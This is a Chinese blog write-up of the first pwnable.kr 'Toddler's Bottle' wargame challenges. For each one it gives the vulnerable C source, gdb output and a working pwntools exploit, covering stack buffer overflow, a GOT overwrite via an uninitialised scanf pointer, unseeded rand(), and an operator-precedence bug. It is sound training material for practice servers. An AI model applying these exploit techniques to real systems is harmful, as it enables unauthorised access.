【CTF】pwnable.kr - Toddler's Bottle其一

2025/09/20 CTF 共 17435 字,约 50 分钟

pwnable.kr - Toddler’s Bottle其一

根据pwnable.kr网站规则,Toddler’s Bottle challenges被允许提供完整解析内容。 笔者并没有优化exploit.py,可能代码存在潜在的性能或者bug, 但是保证每个solution完全可以成功获取flag。

1. Toddler’s Bottle

1-1. fd

目标机器存在fd.c文件,该文件即为fd挑战的源码,显然一下子降低了不少难度。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		setregid(getegid(), getegid());
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

由于是太简单了,就直接提供exploit.py了:)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

shell = ssh(host='pwnable.kr', user='fd', port=2222, password='guest')
proc = shell.process(['./fd', str(0x1234)])
proc.sendline('LETMEWIN')
print(proc.recvall().decode())

1-2. collision

该题目同样提供了源码col.c。

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		setregid(getegid(), getegid());
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

直接提供exploit.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

shell = ssh(host='pwnable.kr', user='col', port=2222, password='guest')
#  0x06C5CEC8 = 0x21DD09EC // 5
#  0x06C5CECC = 0x21DD09EC - 0x06C5CEC8 * 4
payload = p32(0x06C5CEC8) * 4 + p32(0x06C5CECC)
proc = shell.process(['./col', payload])
print(proc.recvall().decode())

1-3. bof

这是缓冲区溢出的入门题目,先查看目标提供的bof.c源码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		setregid(getegid(), getegid());
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

可以明显看到漏洞函数gets(),该函数由于未能限制输入内容的长度,导致溢出overflowme本地数组。 现代C编程基本上舍弃该函数的使用了,更换为更安全的fgets()。既然知道了漏洞位置,那么利用起来就简单的多了。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

io = remote("pwnable.kr", 9000)
# ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
# 0xffffcb30│+0x0000: 0xffffcb4c  →  "AAAA"        ← $esp
# 0xffffcb34│+0x0004: 0x00000001
# 0xffffcb38│+0x0008: 0xf7ffda20  →  0x56555000  →  0x464c457f
# 0xffffcb3c│+0x000c: 0x5655620a  →  <func+000d> add ebx, 0x2df6
# 0xffffcb40│+0x0010: 0x00000000
# 0xffffcb44│+0x0014: 0xffffce0b  →  0x49e14290
# 0xffffcb48│+0x0018: 0x00000002
# 0xffffcb4c│+0x001c: "AAAA"
# ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
#    0x56556230 <func+0033>      lea    eax, [ebp-0x2c]
#    0x56556233 <func+0036>      push   eax
#    0x56556234 <func+0037>      call   0x56556060 <gets@plt>
# ●→ 0x56556239 <func+003c>      add    esp, 0x10
#    0x5655623c <func+003f>      cmp    DWORD PTR [ebp+0x8], 0xcafebabe
#    0x56556243 <func+0046>      jne    0x56556272 <func+117>
#    0x56556245 <func+0048>      call   0x56556080 <getegid@plt>
#    0x5655624a <func+004d>      mov    esi, eax
#    0x5655624c <func+004f>      call   0x56556080 <getegid@plt>
# ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
# [#0] Id 1, Name: "bof", stopped 0x56556239 in func (), reason: BREAKPOINT
# ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
# [#0] 0x56556239 → func()
# [#1] 0x565562c5 → main()
# ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
# gef➤  dereference 0xffffcb4c -l 15
# 0xffffcb4c│+0x0000: "AAAA"
# 0xffffcb50│+0x0004: 0xf7ffcf00  →  0xf7fd5410  →   push ebp
# 0xffffcb54│+0x0008: 0x00000018
# 0xffffcb58│+0x000c: 0x00000000
# 0xffffcb5c│+0x0010: 0xffffdfc1  →  "/root/workSpaces/pwnable.kr/src/Toddler-Bottle/bof[...]"
# 0xffffcb60│+0x0014: 0xf7fc7570  →  <__kernel_vsyscall+0000> push ecx
# 0xffffcb64│+0x0018: 0xf7fc7000  →  0x464c457f
# 0xffffcb68│+0x001c: 0x00000000
# 0xffffcb6c│+0x0020: 0x49e14200
# 0xffffcb70│+0x0024: 0xf7faae34  →  0x00228d2c
# 0xffffcb74│+0x0028: 0xffffcc6c  →  0xffffce58  →  "USER=root"
# 0xffffcb78│+0x002c: 0xffffcb98  →  0x00000000    ← $ebp
# 0xffffcb7c│+0x0030: 0x565562c5  →  <main+0028> add esp, 0x10
# 0xffffcb80│+0x0034: 0xdeadbeef
# 0xffffcb84│+0x0038: 0xf7d9393c  →  0x00000914
payload = b'A' * 0x34 + p32(0xcafebabe)
io.sendline(payload)
io.interactive()

1-4. passcode

该题目难度提升了不少,先看目标源码passcode.c。

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==123456 && passcode2==13371337){
                printf("Login OK!\n");
		setregid(getegid(), getegid());
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.1 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

明显可以可以看到scanf存在问题,变量没有加取址&符号。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

shell = ssh(host='pwnable.kr', user='passcode', port=2222, password='guest')
proc = shell.run('./passcode')
# ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
# 0xffffcb24│+0x0000: 0xffffcb38  →  0x00000028 ("("?)     ← $esp
# 0xffffcb28│+0x0004: 0xf7fabd40  →  0xfbad2a84
# 0xffffcb2c│+0x0008: 0x080492fe  →  <welcome+000c> add ebx, 0x2d02
# 0xffffcb30│+0x000c: 0xf7fabd40  →  0xfbad2a84
# 0xffffcb34│+0x0010: 0x0804d1a0  →  "enter you name : Login System 1.1 beta.\n"
# 0xffffcb38│+0x0014: 0x00000028 ("("?)
# 0xffffcb3c│+0x0018: 0xffffcba4  →  0x0804c000  →  0x0804bf10  →  0x00000001
# 0xffffcb40│+0x001c: 0x00000028 ("("?)
# ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
#     0x8049321 <welcome+002f>   sub    esp, 0x8
#     0x8049324 <welcome+0032>   lea    eax, [ebp-0x70]                 <= name = ebp-0x70 = 0xffffcb38
#     0x8049327 <welcome+0035>   push   eax
# ●→  0x8049328 <welcome+0036>   lea    eax, [ebx-0x1f8b]
#     0x804932e <welcome+003c>   push   eax
#     0x804932f <welcome+003d>   call   0x80490d0 <__isoc99_scanf@plt>
#     0x8049334 <welcome+0042>   add    esp, 0x10
#     0x8049337 <welcome+0045>   sub    esp, 0x8
#     0x804933a <welcome+0048>   lea    eax, [ebp-0x70]
# gef➤  dereference 0xffffcb38 -l 30
# 0xffffcb38│+0x0000: 0x00000028 ("("?)
# 0xffffcb3c│+0x0004: 0xffffcba4  →  0x0804c000  →  0x0804bf10  →  0x00000001
# ...
# 0xffffcb90│+0x0058: 0xffffcc8c  →  0xffffce81  →  "USER=root"
# 0xffffcb94│+0x005c: 0xf7ffcb60  →  0x00000000
# 0xffffcb98│+0x0060: 0xffffcbb8  →  0x00000000
# 0xffffcb9c│+0x0064: 0x9880f000
# ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
# 0xffffcb88│+0x0000: 0x41414141   ← $esp
# 0xffffcb8c│+0x0004: 0x08049203  →  <login+000d> add ebx, 0x2dfd
# 0xffffcb90│+0x0008: "AAAAAAAAAAAA"
# 0xffffcb94│+0x000c: "AAAAAAAA"
# 0xffffcb98│+0x0010: "AAAA"
# 0xffffcb9c│+0x0014: 0x6f290500
# 0xffffcba0│+0x0018: 0x0804c000  →  0x0804bf10  →  0x00000001
# 0xffffcba4│+0x001c: 0xffffcc8c  →  0xffffce81  →  "USER=root"
# ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
#     0x8049213 <login+001d>     call   0x8049050 <printf@plt>
#     0x8049218 <login+0022>     add    esp, 0x10
#     0x804921b <login+0025>     sub    esp, 0x8
# ●→  0x804921e <login+0028>     push   DWORD PTR [ebp-0x10]        <= passcode1 = ebp-0x10 = 0xffffcb98
#     0x8049221 <login+002b>     lea    eax, [ebx-0x1fe5]
#     0x8049227 <login+0031>     push   eax
#     0x8049228 <login+0032>     call   0x80490d0 <__isoc99_scanf@plt>
#     0x804922d <login+0037>     add    esp, 0x10
#     0x8049230 <login+003a>     mov    eax, DWORD PTR [ebx-0x4]
# gef➤  x/1wx $ebp-0x10
# 0xffffcb98:     0x41414141
# gef➤  dereference 0xffffcb38 -l 30
# 0xffffcb38│+0x0000: "AAAA"
# ...
# 0xffffcb94│+0x005c: "AAAAAAAA"
# 0xffffcb98│+0x0060: "AAAA"
# 0xffffcb9c│+0x0064: 0x6f290500
# gef➤  disassemble fflush
# Dump of assembler code for function fflush@plt:
#    0x08049060 <+0>:     jmp    DWORD PTR ds:0x804c014
#    0x08049066 <+6>:     push   0x10
#    0x0804906b <+11>:    jmp    0x8049030
# End of assembler dump.
#
# 0xffffcb98 - 0xffffcb38 = 0x60 = 96
payload1 = b"A" * 96 + p32(0x804c014)
proc.sendlineafter(b"enter you name :", payload1)
# gef➤  disassemble login
# Dump of assembler code for function login:
#    0x080491f6 <+0>:     push   ebp
#    0x080491f7 <+1>:     mov    ebp,esp
#    ...
#    0x0804929e <+168>:   add    esp,0x10
#    0x080492a1 <+171>:   call   0x8049080 <getegid@plt>    <= jmp here because of permission
#    0x080492a6 <+176>:   mov    esi,eax
#    0x080492a8 <+178>:   call   0x8049080 <getegid@plt>
#    0x080492ad <+183>:   sub    esp,0x8
#    0x080492b0 <+186>:   push   esi
#    0x080492b1 <+187>:   push   eax
#    0x080492b2 <+188>:   call   0x80490c0 <setregid@plt>
#    0x080492b7 <+193>:   add    esp,0x10
#    0x080492ba <+196>:   sub    esp,0xc
#    0x080492bd <+199>:   lea    eax,[ebx-0x1fb9]
#    0x080492c3 <+205>:   push   eax
#    0x080492c4 <+206>:   call   0x80490a0 <system@plt>
#    0x080492c9 <+211>:   add    esp,0x10
# End of assembler dump.
#
# 0x080492a1 = 134517409
payload2 = b"134517409"
proc.sendlineafter(b"enter passcode1 :", payload2)
print(proc.recvall().decode())

1-5. random

该题目主要考察对random相关函数的细节上,先看目标源码random.c

#include <stdio.h>

int main(){
	unsigned int random;
	random = rand();	// random value!

	unsigned int key=0;
	scanf("%d", &key);

	if( (key ^ random) == 0xcafebabe ){
		printf("Good!\n");
		setregid(getegid(), getegid());
		system("/bin/cat flag");
		return 0;
	}

	printf("Wrong, maybe you should try 2^32 cases.\n");
	return 0;
}

可以明显可以看到随机函数没有设置种子,即没有调用srand()函数。这就失去了随机函数的本质了,可以通过trick预测下一个随机数字。 简单编写一个预测随机数字的程序calc_key.c。

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
	unsigned int random, key;
	random = rand();
	key = random ^ 0xcafebabe;

	printf("Get random %u\n", random);
	printf("Get key %u\n", key);
	return 0;
}

于是解决方案呼之欲来。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

shell = ssh(host='pwnable.kr', user='random', port=2222, password='guest')

proc = shell.process(['./random'])
# if not use srand to set seed, the seed default 1
# make
# (.venv) ➜  random git:(master) ✗ ./calc_key
# Get random 1804289383
# Get key 2708864985
payload = b"2708864985"
proc.sendline(payload)
print(proc.recvall().decode())

1-6. input2

该题目叠加了多层限制条件,需要逐步过滤对输入的限制。先看目标源码input2.c。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
	printf("Welcome to pwnable.kr\n");
	printf("Let's see if you know how to give input to program\n");
	printf("Just give me correct inputs then you will get the flag :)\n");

	// argv
	if(argc != 100) return 0;
	if(strcmp(argv['A'],"\x00")) return 0;
	if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
	printf("Stage 1 clear!\n");	

	// stdio
	char buf[4];
	read(0, buf, 4);
	if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
	read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
	printf("Stage 2 clear!\n");
	
	// env
	if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
	printf("Stage 3 clear!\n");

	// file
	FILE* fp = fopen("\x0a", "r");
	if(!fp) return 0;
	if( fread(buf, 4, 1, fp)!=1 ) return 0;
	if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
	fclose(fp);
	printf("Stage 4 clear!\n");	

	// network
	int sd, cd;
	struct sockaddr_in saddr, caddr;
	sd = socket(AF_INET, SOCK_STREAM, 0);
	if(sd == -1){
		printf("socket error, tell admin\n");
		return 0;
	}
	saddr.sin_family = AF_INET;
	saddr.sin_addr.s_addr = INADDR_ANY;
	saddr.sin_port = htons( atoi(argv['C']) );
	if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
		printf("bind error, use another port\n");
    		return 1;
	}
	listen(sd, 1);
	int c = sizeof(struct sockaddr_in);
	cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
	if(cd < 0){
		printf("accept error, tell admin\n");
		return 0;
	}
	if( recv(cd, buf, 4, 0) != 4 ) return 0;
	if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
	printf("Stage 5 clear!\n");

	// here's your flag
	setregid(getegid(), getegid());
	system("/bin/cat flag");	
	return 0;
}

可以看到总共五个关卡,每个关卡难度不高,直接提供最终方案。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import socket
import random

context.log_level = 'debug'

# remember to create /tmp/input2_exp, and copy this exploit.py to /tmp/input2_exp
port = random.randint(10000, 60000)
stage3 = {"\xde\xad\xbe\xef": "\xca\xfe\xba\xbe"}

process(["mkdir", "-p", "/tmp/input2_exp"])
with open("/tmp/input2_exp/\x0a", "wb") as stage4:
    stage4.write(b"\x00\x00\x00\x00")
    stage4.flush()

process(["ln", "-s", "/home/input2/flag", "/tmp/input2_exp/flag"])

# stage1
argv = ["/home/input2/input2"]
for i in range(1, 100):
    argv.append("A" * 8)
argv[ord('A')] = "\x00"
argv[ord('B')] = "\x20\x0a\x0d"
argv[ord('C')] = str(port)

proc = process(argv=argv, env=stage3)
proc.recvuntil(b"Stage 1 clear!\n")
log.info("Stage 1 clear!\n")

# stage2
proc.stdin.write(b"\x00\x0a\x00\xff")
proc.stdin.flush()
proc.stderr.write(b"\x00\x0a\x02\xff")
proc.stderr.flush()
proc.recvuntil(b"Stage 2 clear!\n")
log.info("Stage 2 clear!\n")

# stage3
# stage3 = {"\xde\xad\xbe\xef": "\xca\xfe\xba\xbe"}
proc.recvuntil(b"Stage 3 clear!\n");
log.info("Stage 3 clear!\n")

# stage4
# process(["mkdir", "-p", "/tmp/input2_exp"])
# with open("/tmp/input2_exp/\x0a", "wb") as stage4:
#     stage4.write(b"\x00\x00\x00\x00")
#     stage4.flush()
proc.recvuntil(b"Stage 4 clear!\n");
log.info("Stage 4 clear!\n")
process(["rm", "-f", "/tmp/input2_exp/\x0a"])

# stage5
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", port))
sock.send(b"\xde\xad\xbe\xef")
sock.close()
proc.recvuntil(b"Stage 5 clear!\n");
log.info("Stage 5 clear!\n")

flag = proc.recvall().decode().strip()
log.info(f"Get Flag: {flag}")

log.info("Clean temp dir and files...")
process(["rm", "-rf", "/tmp/input2_exp"])

1-7 leg

该题目既考察C技能,又涉及arm汇编的技巧。先看目标提供的源码。

// leg.c
#include <stdio.h>
#include <fcntl.h>
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}

key1、key2 和 key3 函数概述

这些函数专为从 ARM 汇编中的程序计数器(PC)和链接寄存器(LR)寄存器推导特定值而设计。它们的返回值在 main 函数中被求和,并与用户输入进行比较,以决定是否授予访问权限(例如,在 CTF 挑战中显示标志)。理解 ARM 架构中 PC 和 LR 的行为至关重要,由于流水线效应,PC 通常指向超前的地址,而 LR 则在分支指令后保存返回地址。

各函数详解

  1. key1 函数(在 ARM 模式下执行):
    • 操作mov r3, pc 从地址 0x00008cdc 开始执行,该指令将程序计数器(PC)的当前值移动到寄存器 r3 中。在 ARM 模式下,由于处理器的流水线架构,PC 寄存器通常指向下一条指令之后的两条指令(即当前地址 + 8 字节)。因此,在执行 mov r3, pc 时,PC 的值大约是 0x00008cdc + 8 = 0x00008ce4。该值随后通过 r0 返回。
    • 返回值key1 返回 0x00008ce4(十六进制),该值对应经过流水线调整后的 PC 所指向指令的下一条指令地址。
  2. key2 函数(涉及从 ARM 模式切换到 Thumb 模式):
    • 操作:此函数从 0x00008cf0 开始,并包含从 ARM 指令集模式到 Thumb 指令集模式的切换。关键步骤包括:
      • add r6, pc, #1:将 PC 值加 1 后存入 r6(最低有效位设置为 1 表示 Thumb 模式)。
      • bx r6:跳转到 r6 中的地址,并切换到 Thumb 模式,该模式下的指令宽度为 2 字节。
      • 在 Thumb 模式(.code 16)下,执行 mov r3, pc。此时,由于 Thumb 模式的流水线效应,PC 指向当前指令 + 4 字节。
      • adds r3, #4:将 r3 中的值再加 4,进行进一步调整。
    • 返回值:假设 mov r3, pc0x00008d04 开始,经过调整后 r3 中的最终值大约为 0x00008d04 + 4 + 4 = 0x00008d0c(具体值可能因确切的流水线行为而略有不同)。因此,key2 返回 0x00008d0c
  3. key3 函数:
    • 操作:此函数简单地执行 mov r3, lr,将链接寄存器(LR)的值移动到 r3。LR 保存最近一个带链接的分支指令(例如 bl)后的返回地址。在 main 函数中,通过 bl key3 调用 key3,因此 LR 中包含的是 main 函数中该调用之后下一条指令的地址,即 0x00008d80
    • 返回值key3 返回 0x00008d80,直接反映了 LR 中存储的返回地址。

求和计算与用户输入

main 函数中,key1key2key3 的返回值被求和并与用户输入进行比较:

  • 求和计算key1_result + key2_result + key3_result = 0x00008ce4 + 0x00008d0c + 0x00008d80 = 0x1a770 = 108400 (十进制)。

关键概念:ARM 架构中的 PC 和 LR

  • 程序计数器 (PC):指向将要执行的下一条指令。在 ARM 模式下,由于流水线机制,PC 的读取值通常是当前地址 + 8 字节;在 Thumb 模式下,则通常是当前地址 + 4 字节。
  • 链接寄存器 (LR):在 bl(带链接的分支)指令后存储返回地址,使函数能够返回到正确的位置。
  • ARM/Thumb 模式:ARM 处理器支持两种指令集。通过 bx 指令进行模式切换,目标地址的最低有效位(LSB)决定模式(1 为 Thumb,0 为 ARM)。

最终解决方案如下:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

key1_pc = 0x00008cdc + 8
key2_thumb_addr = 0x00008d04 + 4 + 4
key3_lr = 0x00008d80
payload = key1_pc + key2_thumb_addr + key3_lr
print(payload)

1-8 mistake

该题目主要考察C编程易忽略的细节,先看目标源码mistake.c

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
	int i;
	for(i=0; i<len; i++){
		s[i] ^= XORKEY;
	}
}

int main(int argc, char* argv[]){
	
	int fd;
	if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
		printf("can't open password %d\n", fd);
		return 0;
	}

	printf("do not bruteforce...\n");
	sleep(time(0)%20);

	char pw_buf[PW_LEN+1];
	int len;
	if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
		printf("read error\n");
		close(fd);
		return 0;		
	}

	char pw_buf2[PW_LEN+1];
	printf("input password : ");
	scanf("%10s", pw_buf2);

	// xor your input
	xor(pw_buf2, 10);

	if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
		printf("Password OK\n");
		setregid(getegid(), getegid());
		system("/bin/cat flag\n");
	}
	else{
		printf("Wrong Password\n");
	}

	close(fd);
	return 0;
}

明显可以看到由于疏忽运算符优先级,造成fd恒等为0。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

shell = ssh(host='pwnable.kr', user='mistake', port=2222, password='guest')
# if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
#     printf("can't open password %d\n", fd);
#     return 0;
# }
#
# hint : operator priority
#
# fd always equal = 0
password1= b'A' * 10
password2 = bytes([x ^ 1 for x in password1])

proc = shell.process(executable="/home/mistake/mistake")
proc.recvuntil(b"do not bruteforce...\n")
time.sleep(20)
proc.sendline(password1)
proc.recvuntil(b"input password : ")
proc.sendline(password2)
proc.recvuntil(b"Password OK\n")
print(proc.recvall().decode())

未完待续…

参考

https://pwnable.kr

文档信息

Search

    Table of Contents